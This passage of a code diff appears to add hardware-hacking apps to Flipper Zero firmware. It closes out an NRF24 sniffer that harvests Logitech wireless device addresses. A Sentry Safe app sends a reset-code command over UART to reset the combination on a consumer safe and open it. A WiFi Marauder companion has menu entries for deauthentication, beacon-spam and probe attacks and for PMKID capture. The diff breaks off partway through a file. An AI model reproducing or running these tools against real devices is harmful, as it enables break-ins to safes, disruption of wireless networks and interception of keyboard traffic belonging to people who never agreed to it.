if(file_stream_open(stream, filepath, FSAM_READ, FSOM_OPEN_EXISTING)) { + bool found = false; + file_size = stream_size(stream); + stream_seek(stream, 0, StreamOffsetFromStart); + if(file_size > 0) { + file_contents = malloc(file_size + 1); + memset(file_contents, 0, file_size + 1); + if(stream_read(stream, file_contents, file_size) > 0) { + char* line = strtok((char*)file_contents, "\n"); + + while(line != NULL) { + if(!memcmp(line, addrline, 12)) { + found = true; + break; + } + line = strtok(NULL, "\n"); + } + } + free(file_contents); + } + stream_free(stream); + if(found) return false; + + stream = file_stream_alloc(storage); + stream_seek(stream, 0, StreamOffsetFromStart); + } + + // save address to file + if(!file_stream_open(stream, filepath, FSAM_WRITE, FSOM_OPEN_APPEND)) + FURI_LOG_I(TAG, "Cannot open file \"%s\"", filepath); + if(stream_write(stream, (uint8_t*)addrline, linesize) != linesize) + FURI_LOG_I(TAG, "failed to write bytes to file stream"); + + FURI_LOG_I(TAG, "save successful"); + stream_free(stream); + return true; +} + +void alt_address(uint8_t* addr, uint8_t* altaddr) { + uint8_t macmess_hi_b[4]; + uint32_t macmess_hi; + uint8_t macmess_lo; + uint8_t preserved; + uint8_t tmpaddr[5]; + + // swap bytes + for(int i = 0; i < 5; i++) tmpaddr[i] = addr[4 - i]; + + // get address into 32-bit and 8-bit variables + memcpy(macmess_hi_b, tmpaddr, 4); + macmess_lo = tmpaddr[4]; + + macmess_hi = bytes_to_int32(macmess_hi_b, true); + + //preserve lowest bit from hi to shift to low + preserved = macmess_hi & 1; + macmess_hi >>= 1; + macmess_lo >>= 1; + macmess_lo = (preserved << 7) | macmess_lo; + int32_to_bytes(macmess_hi, macmess_hi_b, true); + memcpy(tmpaddr, macmess_hi_b, 4); + tmpaddr[4] = macmess_lo; + + // swap bytes back + for(int i = 0; i < 5; i++) altaddr[i] = tmpaddr[4 - i]; +} + +static void wrap_up(Storage* storage) { + uint8_t ch; + uint8_t addr[5]; + uint8_t altaddr[5]; + char trying[12]; + uint8_t idx; + uint8_t rate = 0; + if(target_rate == 8) rate = 2; + + nrf24_set_idle(nrf24_HANDLE); + + while(true) { + idx = get_highest_idx(); + if(counts[idx] < COUNT_THRESHOLD) break; + + counts[idx] = 0; + memcpy(addr, candidates[idx], 5); + hexlify(addr, 5, trying); + FURI_LOG_I(TAG, "trying address %s", trying); + ch = nrf24_find_channel(nrf24_HANDLE, addr, addr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false); + FURI_LOG_I(TAG, "find_channel returned %d", (int)ch); + if(ch > LOGITECH_MAX_CHANNEL) { + alt_address(addr, altaddr); + hexlify(altaddr, 5, trying); + FURI_LOG_I(TAG, "trying alternate address %s", trying); + ch = nrf24_find_channel( + nrf24_HANDLE, altaddr, altaddr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false); + FURI_LOG_I(TAG, "find_channel returned %d", (int)ch); + memcpy(addr, altaddr, 5); + } + + if(ch <= LOGITECH_MAX_CHANNEL) { + hexlify(addr, 5, top_address); + save_addr_to_file(storage, addr, 5); + break; + } + } +} + +static void start_sniffing() { + memset(candidates, 0, sizeof(candidates)); + memset(counts, 0, sizeof(counts)); + nrf24_init_promisc_mode(nrf24_HANDLE, target_channel, target_rate); +} + +int32_t nrfsniff_app(void* p) { + UNUSED(p); + uint8_t address[5] = {0}; + uint32_t start = 0; + hexlify(address, 5, top_address); + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); + PluginState* plugin_state = malloc(sizeof(PluginState)); + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) { + FURI_LOG_E(TAG, "cannot create mutex\r\n"); + free(plugin_state); + return 255; + } + + nrf24_init(); + + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, render_callback, &state_mutex); + view_port_input_callback_set(view_port, input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + Storage* storage = furi_record_open("storage"); + storage_common_mkdir(storage, NRFSNIFF_APP_PATH_FOLDER); + + PluginEvent event; + for(bool processing = true; processing;) { + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); + PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex); + + if(event_status == FuriStatusOk) { + // press events + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress || + (event.input.type == InputTypeLong && event.input.key == InputKeyBack)) { + switch(event.input.key) { + case InputKeyUp: + // toggle rate 1/2Mbps + if(!sniffing_state) { + if(target_rate == 0) + target_rate = 8; + else + target_rate = 0; + } + break; + case InputKeyDown: + // toggle preamble + if(!sniffing_state) { + if(target_preamble[0] == 0x55) + target_preamble[0] = 0xAA; + else + target_preamble[0] = 0x55; + + nrf24_set_src_mac(nrf24_HANDLE, target_preamble, 2); + } + break; + case InputKeyRight: + // increment channel + if(!sniffing_state && target_channel <= LOGITECH_MAX_CHANNEL) + target_channel++; + break; + case InputKeyLeft: + // decrement channel + if(!sniffing_state && target_channel > 0) target_channel--; + break; + case InputKeyOk: + // toggle sniffing + sniffing_state = !sniffing_state; + if(sniffing_state) { + start_sniffing(); + start = furi_get_tick(); + } else + wrap_up(storage); + break; + case InputKeyBack: + if(event.input.type == InputTypeLong) processing = false; + break; + } + } + } + } else { + FURI_LOG_D(TAG, "osMessageQueue: event timeout"); + // event timeout + } + + if(sniffing_state) { + if(nrf24_sniff_address(nrf24_HANDLE, 5, address)) { + int idx; + uint8_t* top_addr; + idx = get_addr_index(address, 5); + if(idx == -1) + insert_addr(address, 5); + else + counts[idx]++; + + top_addr = candidates[get_highest_idx()]; + hexlify(top_addr, 5, top_address); + } + + if(furi_get_tick() - start >= SAMPLE_TIME) { + wrap_up(storage); + target_channel++; + if(target_channel > LOGITECH_MAX_CHANNEL) target_channel = 2; + + start_sniffing(); + start = furi_get_tick(); + } + } + + view_port_update(view_port); + release_mutex(&state_mutex, plugin_state); + } + + furi_hal_spi_release(nrf24_HANDLE); + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + furi_record_close("storage"); + view_port_free(view_port); + furi_message_queue_free(event_queue); + + return 0; +} diff --git a/applications/sentry_safe/application.fam b/applications/sentry_safe/application.fam new file mode 100644 index 000000000..1a76892c5 --- /dev/null +++ b/applications/sentry_safe/application.fam @@ -0,0 +1,10 @@ +App( + appid="sentry_safe", + name="[HW] Sentry Safe", + apptype=FlipperAppType.PLUGIN, + entry_point="sentry_safe_app", + cdefines=["APP_SENTRY_SAFE"], + requires=["gui"], + stack_size=1 * 1024, + order=80, +) diff --git a/applications/sentry_safe/sentry_safe.c b/applications/sentry_safe/sentry_safe.c new file mode 100644 index 000000000..b521b9b37 --- /dev/null +++ b/applications/sentry_safe/sentry_safe.c @@ -0,0 +1,166 @@ +#include +#include +#include +#include + +#include + +typedef struct { + uint8_t status; +} SentryState; + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} Event; + +const char* status_texts[3] = {"[Press OK to open safe]", "Sending...", "Done !"}; + +static void sentry_safe_render_callback(Canvas* const canvas, void* ctx) { + const SentryState* sentry_state = acquire_mutex((ValueMutex*)ctx, 25); + if(sentry_state == NULL) { + return; + } + + // Before the function is called, the state is set with the canvas_reset(canvas) + + // Frame + canvas_draw_frame(canvas, 0, 0, 128, 64); + + // Message + canvas_set_font(canvas, FontPrimary); + + canvas_draw_frame(canvas, 22, 4, 84, 24); + canvas_draw_str_aligned(canvas, 64, 15, AlignCenter, AlignBottom, "BLACK <-> GND"); + canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignBottom, "GREEN <-> C1 "); + canvas_draw_str_aligned( + canvas, 64, 50, AlignCenter, AlignBottom, status_texts[sentry_state->status]); + + release_mutex((ValueMutex*)ctx, sentry_state); +} + +static void sentry_safe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); + + Event event = {.type = EventTypeKey, .input = *input_event}; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +void send_request(int command, int a, int b, int c, int d, int e) { + int checksum = (command + a + b + c + d + e); + + furi_hal_gpio_init_simple(&gpio_ext_pc1, GpioModeOutputPushPull); + furi_hal_gpio_write(&gpio_ext_pc1, false); + furi_delay_ms(3.4); + furi_hal_gpio_write(&gpio_ext_pc1, true); + + furi_hal_uart_init(FuriHalUartIdLPUART1, 4800); + //furi_hal_uart_set_br(FuriHalUartIdLPUART1, 4800); + //furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, usb_uart_on_irq_cb, usb_uart); + + uint8_t data[8] = {0x0, command, a, b, c, d, e, checksum}; + furi_hal_uart_tx(FuriHalUartIdLPUART1, data, 8); + + furi_delay_ms(100); + + furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, NULL, NULL); + furi_hal_uart_deinit(FuriHalUartIdLPUART1); +} + +void reset_code(int a, int b, int c, int d, int e) { + send_request(0x75, a, b, c, d, e); +} + +void try_code(int a, int b, int c, int d, int e) { + send_request(0x71, a, b, c, d, e); +} + +int32_t sentry_safe_app(void* p) { + UNUSED(p); + + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(Event)); + + SentryState* sentry_state = malloc(sizeof(SentryState)); + + sentry_state->status = 0; + + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, sentry_state, sizeof(SentryState))) { + FURI_LOG_E("SentrySafe", "cannot create mutex\r\n"); + free(sentry_state); + return 255; + } + + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, sentry_safe_render_callback, &state_mutex); + view_port_input_callback_set(view_port, sentry_safe_input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + Event event; + for(bool processing = true; processing;) { + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); + + SentryState* sentry_state = (SentryState*)acquire_mutex_block(&state_mutex); + + if(event_status == FuriStatusOk) { + // press events + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress) { + switch(event.input.key) { + case InputKeyUp: + break; + case InputKeyDown: + break; + case InputKeyRight: + break; + case InputKeyLeft: + break; + + case InputKeyOk: + + if(sentry_state->status == 2) { + sentry_state->status = 0; + + } else if(sentry_state->status == 0) { + sentry_state->status = 1; + + reset_code(1, 2, 3, 4, 5); + furi_delay_ms(500); + try_code(1, 2, 3, 4, 5); + + sentry_state->status = 2; + } + + break; + case InputKeyBack: + processing = false; + break; + } + } + } + } else { + // event timeout + } + + view_port_update(view_port); + release_mutex(&state_mutex, sentry_state); + } + + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + furi_message_queue_free(event_queue); + delete_mutex(&state_mutex); + free(sentry_state); + + return 0; +} \ No newline at end of file diff --git a/applications/wifi_marauder_companion/application.fam b/applications/wifi_marauder_companion/application.fam new file mode 100644 index 000000000..3e2388abc --- /dev/null +++ b/applications/wifi_marauder_companion/application.fam @@ -0,0 +1,10 @@ +App( + appid="wifi_marauder", + name="[HW] WiFi (Marauder)", + apptype=FlipperAppType.PLUGIN, + entry_point="wifi_marauder_app", + cdefines=["APP_WIFI_MARAUDER"], + requires=["gui"], + stack_size=1 * 1024, + order=90, +) diff --git a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene.c b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene.c new file mode 100644 index 000000000..b992cb10a --- /dev/null +++ b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene.c @@ -0,0 +1,30 @@ +#include "wifi_marauder_scene.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, +void (*const wifi_marauder_scene_on_enter_handlers[])(void*) = { +#include "wifi_marauder_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, +bool (*const wifi_marauder_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { +#include "wifi_marauder_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, +void (*const wifi_marauder_scene_on_exit_handlers[])(void* context) = { +#include "wifi_marauder_scene_config.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers wifi_marauder_scene_handlers = { + .on_enter_handlers = wifi_marauder_scene_on_enter_handlers, + .on_event_handlers = wifi_marauder_scene_on_event_handlers, + .on_exit_handlers = wifi_marauder_scene_on_exit_handlers, + .scene_num = WifiMarauderSceneNum, +}; diff --git a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene.h b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene.h new file mode 100644 index 000000000..739e30d07 --- /dev/null +++ b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene.h @@ -0,0 +1,29 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(prefix, name, id) WifiMarauderScene##id, +typedef enum { +#include "wifi_marauder_scene_config.h" + WifiMarauderSceneNum, +} WifiMarauderScene; +#undef ADD_SCENE + +extern const SceneManagerHandlers wifi_marauder_scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); +#include "wifi_marauder_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(prefix, name, id) \ + bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); +#include "wifi_marauder_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); +#include "wifi_marauder_scene_config.h" +#undef ADD_SCENE diff --git a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h new file mode 100644 index 000000000..75e95c9bc --- /dev/null +++ b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h @@ -0,0 +1,3 @@ +ADD_SCENE(wifi_marauder, start, Start) +ADD_SCENE(wifi_marauder, console_output, ConsoleOutput) +ADD_SCENE(wifi_marauder, text_input, TextInput) diff --git a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c new file mode 100644 index 000000000..7f1c14892 --- /dev/null +++ b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c @@ -0,0 +1,77 @@ +#include "../wifi_marauder_app_i.h" + +void wifi_marauder_console_output_handle_rx_data_cb(uint8_t *buf, size_t len, void* context) { + furi_assert(context); + WifiMarauderApp* app = context; + + // If text box store gets too big, then truncate it + app->text_box_store_strlen += len; + if (app->text_box_store_strlen >= WIFI_MARAUDER_TEXT_BOX_STORE_SIZE - 1) { + string_right(app->text_box_store, app->text_box_store_strlen / 2); + app->text_box_store_strlen = string_size(app->text_box_store); + } + + // Null-terminate buf and append to text box store + buf[len] = '\0'; + string_cat_printf(app->text_box_store, "%s", buf); + + view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventRefreshConsoleOutput); +} + +void wifi_marauder_scene_console_output_on_enter(void* context) { + WifiMarauderApp* app = context; + + TextBox* text_box = app->text_box; + text_box_reset(app->text_box); + text_box_set_font(text_box, TextBoxFontText); + if (app->focus_console_start) { + text_box_set_focus(text_box, TextBoxFocusStart); + } else { + text_box_set_focus(text_box, TextBoxFocusEnd); + } + if (app->is_command) { + string_reset(app->text_box_store); + app->text_box_store_strlen = 0; + } else { // "View Log" menu action + text_box_set_text(app->text_box, string_get_cstr(app->text_box_store)); + } + + scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneConsoleOutput, 0); + view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput); + + // Register callback to receive data + wifi_marauder_uart_set_handle_rx_data_cb(app->uart, wifi_marauder_console_output_handle_rx_data_cb); // setup callback for rx thread + + // Send command with newline '\n' + if (app->is_command && app->selected_tx_string) { + wifi_marauder_uart_tx((uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); + wifi_marauder_uart_tx((uint8_t*)("\n"), 1); + } +} + +bool wifi_marauder_scene_console_output_on_event(void* context, SceneManagerEvent event) { + WifiMarauderApp* app = context; + + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + text_box_set_text(app->text_box, string_get_cstr(app->text_box_store)); + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + consumed = true; + } + + return consumed; +} + +void wifi_marauder_scene_console_output_on_exit(void* context) { + WifiMarauderApp* app = context; + + // Unregister rx callback + wifi_marauder_uart_set_handle_rx_data_cb(app->uart, NULL); + + // Automatically stop the scan when exiting view + if (app->is_command) { + wifi_marauder_uart_tx((uint8_t*)("stopscan\n"), strlen("stopscan\n")); + } +} \ No newline at end of file diff --git a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c new file mode 100644 index 000000000..bc5e5641c --- /dev/null +++ b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c @@ -0,0 +1,105 @@ +#include "../wifi_marauder_app_i.h" + +#define NUM_MENU_ITEMS (29) + +// For each command, define whether additional arguments are needed +// (enabling text input to fill them out), and whether the console +// text box should focus at the start of the output or the end +#define INPUT_ARGS (true) +#define NO_ARGS (false) +#define FOCUS_CONSOLE_START (true) +#define FOCUS_CONSOLE_END (false) +struct WifiMarauderItem { + const char* item_string; + bool needs_keyboard; + bool focus_console_start; +}; + +const struct WifiMarauderItem items[NUM_MENU_ITEMS] = { + { "View Log (start)", NO_ARGS, FOCUS_CONSOLE_START }, + { "View Log (end)", NO_ARGS, FOCUS_CONSOLE_END }, + { "attack -t beacon -l", NO_ARGS, FOCUS_CONSOLE_END }, + { "attack -t beacon -r", NO_ARGS, FOCUS_CONSOLE_END }, + { "attack -t beacon -a", NO_ARGS, FOCUS_CONSOLE_END }, + { "attack -t deauth", NO_ARGS, FOCUS_CONSOLE_END }, + { "attack -t probe", NO_ARGS, FOCUS_CONSOLE_END }, + { "attack -t rickroll", NO_ARGS, FOCUS_CONSOLE_END }, + { "channel", NO_ARGS, FOCUS_CONSOLE_END }, + { "channel -s", INPUT_ARGS, FOCUS_CONSOLE_END }, + { "clearlist -a", NO_ARGS, FOCUS_CONSOLE_END }, + { "clearlist -s", NO_ARGS, FOCUS_CONSOLE_END }, + { "help", NO_ARGS, FOCUS_CONSOLE_START }, + { "list -a", NO_ARGS, FOCUS_CONSOLE_START }, + { "list -s", NO_ARGS, FOCUS_CONSOLE_START }, + { "reboot", NO_ARGS, FOCUS_CONSOLE_END }, + { "scanap", NO_ARGS, FOCUS_CONSOLE_END }, + { "select -a", INPUT_ARGS, FOCUS_CONSOLE_END }, + { "select -s", INPUT_ARGS, FOCUS_CONSOLE_END }, + { "sniffbeacon", NO_ARGS, FOCUS_CONSOLE_END }, + { "sniffdeauth", NO_ARGS, FOCUS_CONSOLE_END }, + { "sniffesp", NO_ARGS, FOCUS_CONSOLE_END }, + { "sniffpmkid", NO_ARGS, FOCUS_CONSOLE_END }, + { "sniffpmkid -c", INPUT_ARGS, FOCUS_CONSOLE_END }, + { "sniffpwn", NO_ARGS, FOCUS_CONSOLE_END }, + { "ssid -a -g", INPUT_ARGS, FOCUS_CONSOLE_END }, + { "ssid -a -n", INPUT_ARGS, FOCUS_CONSOLE_END }, + { "ssid -r", INPUT_ARGS, FOCUS_CONSOLE_END }, + { "update -w", NO_ARGS, FOCUS_CONSOLE_END }, +}; + +static void wifi_marauder_scene_start_var_list_enter_callback(void* context, uint32_t index) { + furi_assert(context); + WifiMarauderApp* app = context; + app->selected_tx_string = items[index].item_string; + app->is_command = (2 <= index); + app->is_custom_tx_string = false; + app->selected_menu_index = index; + app->focus_console_start = items[index].focus_console_start; + if (items[index].needs_keyboard) { + view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartKeyboard); + } else { + view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartConsole); + } +} + +void wifi_marauder_scene_start_on_enter(void* context) { + WifiMarauderApp* app = context; + VariableItemList* var_item_list = app->var_item_list; + + variable_item_list_set_enter_callback( + var_item_list, wifi_marauder_scene_start_var_list_enter_callback, app); + + // TODO: organize menu + for (int i = 0; i < NUM_MENU_ITEMS; ++i) { + variable_item_list_add(var_item_list, items[i].item_string, 0, NULL, NULL); + } + + variable_item_list_set_selected_item( + var_item_list, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneStart)); + + view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); +} + +bool wifi_marauder_scene_start_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + WifiMarauderApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if (event.event == WifiMarauderEventStartKeyboard) { + scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); + scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewTextInput); + } else if (event.event == WifiMarauderEventStartConsole) { + scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); + scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewConsoleOutput); + } + consumed = true; + } + + return consumed; +} + +void wifi_marauder_scene_start_on_exit(void* context) { + WifiMarauderApp* app = context; + variable_item_list_reset(app->var_item_list); +} diff --git a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c new file mode 100644 index 000000000..eb77ebb6c --- /dev/null +++ b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c @@ -0,0 +1,54 @@ +#include "../wifi_marauder_app_i.h" + + +void wifi_marauder_scene_text_input_callback(void* context) { + WifiMarauderApp* app = context; + + view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartConsole); +} + +void wifi_marauder_scene_text_input_on_enter(void* context) { + WifiMarauderApp* app = context; + + if (false == app->is_custom_tx_string) { + // Fill text input with selected string so that user can add to it + size_t length = strlen(app->selected_tx_string); + furi_assert(length < WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); + bzero(app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); + strncpy(app->text_input_store, app->selected_tx_string, length); + + // Add space - because flipper keyboard currently doesn't have a space + app->text_input_store[length] = ' '; + app->text_input_store[length+1] = '\0'; + app->is_custom_tx_string = true; + } + + // Setup view + TextInput* text_input = app->text_input; + text_input_set_header_text(text_input, "Add command arguments"); + text_input_set_result_callback(text_input, wifi_marauder_scene_text_input_callback, app, app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, false); + + view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewTextInput); +} + +bool wifi_marauder_scene_text_input_on_event(void* context, SceneManagerEvent event) { + WifiMarauderApp* app = context; + bool consumed = false; + + if (event.type == SceneManagerEventTypeCustom) { + if (event.event == WifiMarauderEventStartConsole) { + // Point to custom string to send + app->selected_tx_string = app->text_input_store; + scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewConsoleOutput); + consumed = true; + } + } + + return consumed; +} + +void wifi_marauder_scene_text_input_on_exit(void* context) { + WifiMarauderApp* app = context; + + text_input_reset(app->text_input); +} diff --git a/applications/wifi_marauder_companion/wifi_marauder_app.c b/applications/wifi_marauder_companion/wifi_marauder_app.c new file mode 100644 index 000000000..506e89b10 --- /dev/null +++ b/applications/wifi_marauder_companion/wifi_marauder_app.c @@ -0,0 +1,96 @@ +#include "wifi_marauder_app_i.h" + +#include +#include + +static bool wifi_marauder_app_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + WifiMarauderApp* app = context; + return scene_manager_handle_custom_event(app->scene_manager, event); +} + +static bool wifi_marauder_app_back_event_callback(void* context) { + furi_assert(context); + WifiMarauderApp* app = context; + return scene_manager_handle_back_event(app->scene_manager); +} + +static void wifi_marauder_app_tick_event_callback(void* context) { + furi_assert(context); + WifiMarauderApp* app = context; + scene_manager_handle_tick_event(app->scene_manager); +} + +WifiMarauderApp* wifi_marauder_app_alloc() { + WifiMarauderApp* app = malloc(sizeof(WifiMarauderApp)); + + app->gui = furi_record_open("gui"); + + app->view_dispatcher = view_dispatcher_alloc(); + app->scene_manager = scene_manager_alloc(&wifi_marauder_scene_handlers, app); + view_dispatcher_enable_queue(app->view_dispatcher); + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + + view_dispatcher_set_custom_event_callback( + app->view_dispatcher, wifi_marauder_app_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + app->view_dispatcher, wifi_marauder_app_back_event_callback); + view_dispatcher_set_tick_event_callback( + app->view_dispatcher, wifi_marauder_app_tick_event_callback, 100); + + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + app->var_item_list = variable_item_list_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + WifiMarauderAppViewVarItemList, + variable_item_list_get_view(app->var_item_list)); + + app->text_box = text_box_alloc(); + view_dispatcher_add_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput, text_box_get_view(app->text_box)); + string_init(app->text_box_store); + string_reserve(app->text_box_store, WIFI_MARAUDER_TEXT_BOX_STORE_SIZE); + + app->text_input = text_input_alloc(); + view_dispatcher_add_view(app->view_dispatcher, WifiMarauderAppViewTextInput, text_input_get_view(app->text_input)); + + scene_manager_next_scene(app->scene_manager, WifiMarauderSceneStart); + + return app; +} + +void wifi_marauder_app_free(WifiMarauderApp* app) { + furi_assert(app); + + // Views + view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); + view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput); + view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewTextInput); + text_box_free(app->text_box); + string_clear(app->text_box_store); + text_input_free(app->text_input); + + // View dispatcher + view_dispatcher_free(app->view_dispatcher); + scene_manager_free(app->scene_manager); + + wifi_marauder_uart_free(app->uart); + + // Close records + furi_record_close("gui"); + + free(app); +} + +int32_t wifi_marauder_app(void* p) { + UNUSED(p); + WifiMarauderApp* wifi_marauder_app = wifi_marauder_app_alloc(); + + wifi_marauder_app->uart = wifi_marauder_uart_init(wifi_marauder_app); + + view_dispatcher_run(wifi_marauder_app->view_dispatcher); + + wifi_marauder_app_free(wifi_marauder_app); + + return 0; +} diff --git a/applications/wifi_marauder_companion/wifi_marauder_app.h b/applications/wifi_marauder_companion/wifi_marauder_app.h new file mode 100644 index 000000000..2d41daa55 --- /dev/null +++ b/applications/wifi_marauder_companion/wifi_marauder_app.h @@ -0,0 +1,11 @@ +#pragma once + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct WifiMarauderApp WifiMarauderApp; + +#ifdef __cplusplus +} +#endif diff --git a/applications/wifi_marauder_companion/wifi_marauder_app_i.h b/applications/wifi_marauder_companion/wifi_marauder_app_i.h new file mode 100644 index 000000000..b5832c914 --- /dev/null +++ b/applications/wifi_marauder_companion/wifi_marauder_app_i.h @@ -0,0 +1,65 @@ +#pragma once + +#include "wifi_marauder_app.h" +#include "scenes/wifi_marauder_scene.h" +#include "wifi_marauder_custom_event.h" +#include "wifi_marauder_uart.h" + +#include +#include +#include +#include +#include +#include + +#define WIFI_MARAUDER_TEXT_BOX_STORE_SIZE (4096) +#define WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE (512) + +struct WifiMarauderApp { + Gui* gui; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + + char text_input_store[WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE + 1]; + string_t text_box_store; + size_t text_box_store_strlen; + TextBox* text_box; + TextInput* text_input; + //Widget* widget; + + VariableItemList* var_item_list; + + WifiMarauderUart* uart; + int selected_menu_index; + const char* selected_tx_string; + bool is_command; + bool is_custom_tx_string; + bool focus_console_start; +}; + +// Supported commands: +// https://github.com/justcallmekoko/ESP32Marauder/wiki/cli +// Scan +// -> If list is empty, then start a new scanap. (Tap any button to stop.) +// -> If there's a list, provide option to rescan and dump list of targets to select. +// -> Press BACK to go back to top-level. +// Attack +// -> Beacon +// -> Deauth +// -> Probe +// -> Rickroll +// Sniff +// -> Beacon +// -> Deauth +// -> ESP +// -> PMKID +// -> Pwnagotchi +// Channel +// Update +// Reboot + +typedef enum { + WifiMarauderAppViewVarItemList, + WifiMarauderAppViewConsoleOutput, + WifiMarauderAppViewTextInput, +} WifiMarauderAppView; diff --git a/applications/wifi_marauder_companion/wifi_marauder_custom_event.h b/applications/wifi_marauder_companion/wifi_marauder_custom_event.h new file mode 100644 index 000000000..fe1bff6af --- /dev/null +++ b/applications/wifi_marauder_companion/wifi_marauder_custom_event.h @@ -0,0 +1,7 @@ +#pragma once + +typedef enum { + WifiMarauderEventRefreshConsoleOutput = 0, + WifiMarauderEventStartConsole, + WifiMarauderEventStartKeyboard, +} WifiMarauderCustomEvent; diff --git a/applications/wifi_marauder_companion/wifi_marauder_uart.c b/applications/wifi_marauder_companion/wifi_marauder_uart.c new file mode 100644 index 000000000..6297ea83b --- /dev/null +++ b/applications/wifi_marauder_companion/wifi_marauder_uart.c @@ -0,0 +1,97 @@ +#include "wifi_marauder_app_i.h" +#include "wifi_marauder_uart.h" + +#include + +#define UART_CH (FuriHalUartIdUSART1) +#define BAUDRATE (115200) + +struct WifiMarauderUart { + WifiMarauderApp* app; + FuriThread* rx_thread; + 